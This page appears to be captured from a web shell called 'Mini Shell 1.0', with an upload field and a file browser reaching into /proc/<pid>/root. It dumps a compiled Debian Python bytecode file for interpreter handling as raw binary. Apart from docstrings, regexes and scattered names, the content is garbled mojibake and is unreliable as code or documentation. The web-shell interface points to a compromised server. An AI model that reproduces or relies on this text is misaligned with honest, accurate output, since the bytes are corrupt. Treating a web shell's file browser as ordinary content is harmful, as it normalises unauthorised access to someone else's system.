HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991111/root/usr/share/python3/debpython/__pycache__/
Upload File :
Current File : //proc/1991111/root/usr/share/python3/debpython/__pycache__/interpreter.cpython-311.pyc
�

ґ2d�4����ddlZddlZddlZddlmZmZddlmZddlm	Z	ej
dej��Zej
dej��Z
eje��ZGd�d��ZdS)	�N)�join�split)�execute)�Versionz�
    (?:\#!\s*){0,1}  # shebang prefix
    (?P<path>
        .*?/bin/.*?)?
    (?P<name>
        python|pypy)
    (?P<version>
        \d[\.\d]*)?
    (?P<debug>
        -dbg)?
    (?P<options>.*)
    a-
    (?P<name>.*?)
    (?:\.
        (?P<stableabi>abi\d+)
     |(?:\.
        (?P<soabi>
            (?P<impl>cpython|pypy)
            -
            (?P<ver>\d{2})
            (?P<flags>[a-z]*?)
        )
        (?:
            -(?P<multiarch>[^/]*?)
        )?
    ))?
    (?P<debug>_d)?
    \.so$c��eZdZdZdZdZdZdZdZiZ			dd�Z
d�Zd�Zd	�Z
d
�Zed���Zdd�Zdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�InterpreterN�pythonF�cpython�c��t��}|d=|d=t|t��r3|���D]}	||	�t	||	��||	<�ny|rw|�dd�����r|st|��|d<n:|�|���	��D]\}	}
||	�|
||	<�|�	��D]\}	}
t||	|
���dS)N�self�value�.��version)�locals�
isinstancer�keys�getattr�replace�isdigitr�parse�items�setattr)r
r�path�namer�debug�impl�options�params�key�vals           �+/usr/share/python3/debpython/interpreter.py�__init__zInterpreter.__init__Es$�������6�N��7�O��e�[�)�)�
	*��{�{�}�}�
6�
6���#�;�&�")�%��"5�"5�F�3�K��
6��	*��}�}�S�"�%�%�-�-�/�/�
*��
*�$+�E�N�N��y�!�!� $�
�
�5� 1� 1� 7� 7� 9� 9�*�*�H�C���c�{�*�&)��s��������	$�	$�H�C���D�#�s�#�#�#�#�	$�	$�c�>�|dkrP|rN|�d��rd|jd<n|�d��r
d|jd<d|vr
d|jd<n|d	kr|�t|��}|d
vr!|�tt|��|j|<dS||j|<dS)Nrr	r
r�pypyz-dbgTrr)rrrr)�
startswith�__dict__rrr)r
rrs   r#�__setattr__zInterpreter.__setattr__Zs����6�>�>�e�>�����)�)�
/�(1��
�f�%�%��!�!�&�)�)�
/�(.��
�f�%�����)-��
�g�&��
�Y�
�
�5�#4��E�N�N�E��7�7�7�E�M�")�+�t�"<�"<�D�M�$����"'�D�M�$���r%c��|jpd}||�|j��z
}|jr |dd�|j��zz
}|S)Nr� )r�_vstrrrr)r
�results  r#�__repr__zInterpreter.__repr__jsQ�����b���$�*�*�T�\�*�*�*���<�	3��c�C�H�H�T�\�2�2�2�2�F��
r%c�6�|�|j��S�N)r-r)r
s r#�__str__zInterpreter.__str__qs���z�z�$�,�'�'�'r%c���|jdkr|jS|rIt|��|jvr3|jrd�|��S|jt|��zS|jS)Nr'zpython{}-dbg)rr�strr�format�r
rs  r#r-zInterpreter._vstrtsj���9�����9���	,�s�7�|�|�4�9�4�4��z�
6�%�,�,�W�5�5�5��9�s�7�|�|�+�+��y�r%c���t�|��}|siS|���}d|vr*t|d�����|d<|S)a�Return dict with parsed shebang

        >>> sorted(Interpreter.parse('pypy').items())
        [('debug', None), ('name', 'pypy'), ('options', ()), ('path', None), ('version', None)]
        >>> sorted(Interpreter.parse('/usr/bin/python3.3-dbg').items())
        [('debug', '-dbg'), ('name', 'python'), ('options', ()), ('path', '/usr/bin/'), ('version', '3.3')]
        >>> sorted(Interpreter.parse('#! /usr/bin/pypy --foo').items())
        [('debug', None), ('name', 'pypy'), ('options', ('--foo',)), ('path', '/usr/bin/'), ('version', None)]
        >>> sorted(Interpreter.parse('#! /usr/bin/python3.2').items())
        [('debug', None), ('name', 'python'), ('options', ()), ('path', '/usr/bin/'), ('version', '3.2')]
        >>> sorted(Interpreter.parse('/usr/bin/python3.2-dbg --foo --bar').items())
        [('debug', '-dbg'), ('name', 'python'), ('options', ('--foo', '--bar')), ('path', '/usr/bin/'), ('version', '3.2')]
        r)�
SHEBANG_RE�search�	groupdict�tupler)�shebangr.s  r#rzInterpreter.parse~sh�� �"�"�7�+�+���	��I��!�!�#�#������ %�f�Y�&7�&=�&=�&?�&?� @� @�F�9���
r%c���t|p|j��}|jdkrd}n2|td��zrd|z}n|td��zrd|z}nd}|rd|z}|rd	|�|��}|S)
a�Return path to site-packages directory.

        Note that returned path is not the final location of .py files

        >>> i = Interpreter('python')
        >>> i.sitedir(version='3.1')
        '/usr/lib/python3/dist-packages/'
        >>> i.sitedir(version='2.5')
        '/usr/lib/python2.5/site-packages/'
        >>> i.sitedir(version=Version('2.7'))
        '/usr/lib/python2.7/dist-packages/'
        >>> i.sitedir(version='3.1', gdb=True, package='python3-foo')
        'debian/python3-foo/usr/lib/debug/usr/lib/python3/dist-packages/'
        >>> i.sitedir(version=Version('3.2'))
        '/usr/lib/python3/dist-packages/'
        >>> Interpreter('pypy').sitedir(version='2.0')
        '/usr/lib/pypy/dist-packages/'
        r'z/usr/lib/pypy/dist-packages/�2.6z /usr/lib/python%s/site-packages/z3.0z /usr/lib/python%s/dist-packages/z/usr/lib/python3/dist-packages/z/usr/lib/debug%szdebian/)rrr)r
�gdb�packagerrs     r#�sitedirzInterpreter.sitedir�s���&�'�1�T�\�2�2���9����1�D�D�
�����
&�	5�5��?�D�D�
�����
&�	5�5��?�D�D�4�D��	-�%��,�D��	3�	3�$+�G�T�T�2�D��r%c	�8�t|p|j��}d|jvrdnd}|td��kr||zSt|��\}}|�d��s|dz
}t|d|dd��d	|�|���d|����S)
a�Given path to a .py file, return path to its .pyc/.pyo file.

        This function is inspired by Python 3.2's imp.cache_from_source.

        :param fpath: path to file name
        :param version: Python version

        >>> i = Interpreter('python')
        >>> i.cache_file('foo.py', Version('3.1'))
        'foo.pyc'
        >>> i.cache_file('bar/foo.py', '3.2')
        'bar/__pycache__/foo.cpython-32.pyc'
        z-O�o�c�3.1z.py�__pycache__N���r)rrrr�endswithr�	magic_tag)r
�fpathr�	last_char�fdir�fnames      r#�
cache_filezInterpreter.cache_file�s����'�1�T�\�2�2���4�<�/�/�C�C�S�	��g�e�n�n�$�$��9�$�$��E�l�l���e��~�~�e�$�$�	��U�N�E��D�-��3�B�3�Z�Z�Z�����!8�!8�!8�!8�)�)�*E�F�F�	Fr%c�z�t|p|j��}|�|��\}}|�dd��d}|r2|d�|��z
}|r|d�|��z
}|jr"|jdkr|td��zr|dz
}d	�|��S)
z5Return extension name with soname and multiarch tags.r�rz.{}z-{}r
�3�_dz{}.so)rr�_get_configrr5rr)r
rr�soabi�	multiarchr.s      r#�ext_filezInterpreter.ext_file�s����'�1�T�\�2�2���+�+�G�4�4���y����C��#�#�A�&���	2��e�l�l�5�)�)�)�F��
2��%�,�,�y�1�1�1���:�	�$�)�y�0�0��w�s�|�|�+�1��d�N�F��~�~�f�%�%�%r%c��t|p|j��}|jdkr|td��zrdS|�d|��}t	|��S)zReturn magic number.r
rQrz"import imp; print(imp.get_magic()))rrr�_execute�eval)r
rr.s   r#�magic_numberzInterpreter.magic_number�sX���'�1�T�\�2�2���9�	�!�!�g�����&=�!��2����C�W�M�M���F�|�|�r%c��t|p|j��}|jdkr|td��zrdS|�d|��S)z�Return Python magic tag (used in __pycache__ dir to tag files).

        >>> i = Interpreter('python')
        >>> i.magic_tag(version='3.2')
        'cpython-32'
        r
�3.2rz import imp; print(imp.get_tag()))rrrrXr6s  r#rIzInterpreter.magic_tag�sO���'�1�T�\�2�2���9�	�!�!�g�����&?�!��2��}�}�?��I�I�Ir%c��t|p|j��}	|�|��\}}n-#t$r t�dd���YdSwxYw|S)zReturn multiarch tag.zcannot get multiarchT��exc_infor�rrrS�	Exception�logr�r
rrTrUs    r#rUzInterpreter.multiarch�sv���'�1�T�\�2�2��	�#�/�/��8�8��E�9�9���	�	�	��I�I�,�t�I�<�<�<��2�2�	�������1�&A�Ac��t|p|j��}|jdkr,|td��z	rd�|j��SdSdS)Nr
r\zabi{})rrrr5�majorr6s  r#�	stableabizInterpreter.stableabisU���'�1�T�\�2�2���9�	�!�!�g�����&?�!��>�>�'�-�0�0�0�"�!�!�!r%c��t|p|j��}	|�|��\}}n-#t$r t�dd���YdSwxYw|S)z�Return SOABI flag (used to in .so files).

        >>> i = Interpreter('python')
        >>> i.soabi(version=Version('3.3'))
        'cpython-33m'
        zcannot get soabiTr^rr`rcs    r#rTzInterpreter.soabi	sw���'�1�T�\�2�2��	�#�/�/��8�8��E�9�9���	�	�	��I�I�(�4�I�8�8�8��2�2�	�����rdc��t|p|j��}d|vr|�dd��\}}nd}t�|��}|sdS|���}|drdSt
||���}|dr3d�|dd	|dd��|_|js|d
sd|dpdvrd
|_	|�	��\}}n-#t$r t�dd
���YdSwxYw|d}|jdkr)|jdz	r|�
d��r
|dd�}|ds|rFd�||dp|��}|ds|rd�||dp|��}|dz
}||krdSt||��S)a�Return extension file name if file can be renamed.

        >>> i = Interpreter('python')
        >>> i.check_extname('foo.so', version='3.3') # doctest: +ELLIPSIS
        'foo.cpython-33m-....so'
        >>> i.check_extname('foo.abi3.so', version='3.3')
        >>> i.check_extname('foo/bar/bazmodule.so', version='3.3') # doctest: +ELLIPSIS
        'foo/bar/baz.cpython-33m-....so'
        �/rPrNrg)r�verz{}.{}rr�d�flagsTzcannot get soabi/multiarchr^rr
r\�modulei����rTrUz{}-{}z.so)rr�rsplit�
EXTFILE_REr9r:rr5rrSrarbrrHr)	r
rMrrL�info�irTrUr.s	         r#�
check_extnamezInterpreter.check_extnames���'�1�T�\�2�2���%�<�<��,�,�s�A�.�.�K�D�%�%��D�� � ��'�'���	��F��~�~�������	��F���g�.�.�.����;�	G����t�E�{�1�~�t�E�{�1�~�F�F�A�I��w�	�D��M�	�S�T�'�]�5H�b�-I�-I��A�G�	� �}�}����E�9�9���	�	�	��I�I�2�T�I�B�B�B��F�F�	�����f����6�Y���1�9��#5��&�/�/�(�:S�:S���C�R�C�[�F���=�	P�E�	P��^�^�F�D��M�,B�U�C�C�F��K� �
P�I�
P� �����[�0A�0N�Y�O�O���%����F�?�?��F��D�&�!�!�!s�"C:�:&D$�#D$c�<�t|p|j��}|jdks |jdkr|dz	r|dzs|dz	s|dkrd}nd}|dz
}|�||���d	��}	t
jd
|d<n#t$rYnwxYw|S)Nr'r
r>rQrEzimport sysconfig as s;z%from distutils import sysconfig as s;zOprint("__SEP__".join(i or "" for i in s.get_config_vars("SOABI", "MULTIARCH")))�__SEP__�DEB_HOST_MULTIARCHrP)rrrrXr�os�environ�KeyError)r
r�cmd�	conf_varss    r#rSzInterpreter._get_configKs����'�1�T�\�2�2���9����$�)�y�"8�"8��5� �#9�%,��^�#9��e�#�#9�'.�#�~�~�*�C�C�9�C��D�	D���M�M�#�w�/�/�5�5�i�@�@�	�	��:�&:�;�I�a�L�L���	�	�	��D�	�����s�6B�
B�BTc��t|p|j��}|�|��d|f}|r ||jjvr|jj|St|��}|ddkrIt�|d��td�	||d�����|d�
��}t|��dkr|d}|r||jj|<|S)Nz-c�
returncoder�stderrz{} failed with status code {}�stdoutrP)rrr-�	__class__�_cacherrbrrar5�
splitlines�len)r
�commandr�cache�outputr.s      r#rXzInterpreter._execute^s����'�1�T�\�2�2���:�:�g�&�&��g�6���	2�W��� 5�5�5��>�(��1�1���!�!���,��1�$�$��I�I�f�X�&�'�'�'��;�B�B�7�F�S_�L`�a�a�b�b�b���!�,�,�.�.���v�;�;�!����A�Y�F��	4�-3�D�N�!�'�*��
r%)NNNNNNN)FNNr1)NT)�__name__�
__module__�__qualname__rrrrrrr�r$r*r/r2r-�staticmethodrrArNrVrZrIrUrgrTrsrSrXrr%r#rr<s��������D��D��G��E��D��G�
�F�AE�04�$�$�$�$�*(�(�(� ���(�(�(��������\��0$�$�$�$�LF�F�F�F�2&�&�&�&�����
J�
J�
J�
J�	�	�	�	�1�1�1�1�����"/"�/"�/"�/"�b����&�����r%r)�loggingrw�re�os.pathrr�	debpythonr�debpython.versionr�compile�VERBOSEr8rp�	getLoggerr�rbrrr%r#�<module>r�s���*����	�	�	�	�	�	�	�	���������������%�%�%�%�%�%�
�R�Z��
����
��R�Z�
� �j�!��
�"�g���!�!��u�u�u�u�u�u�u�u�u�ur%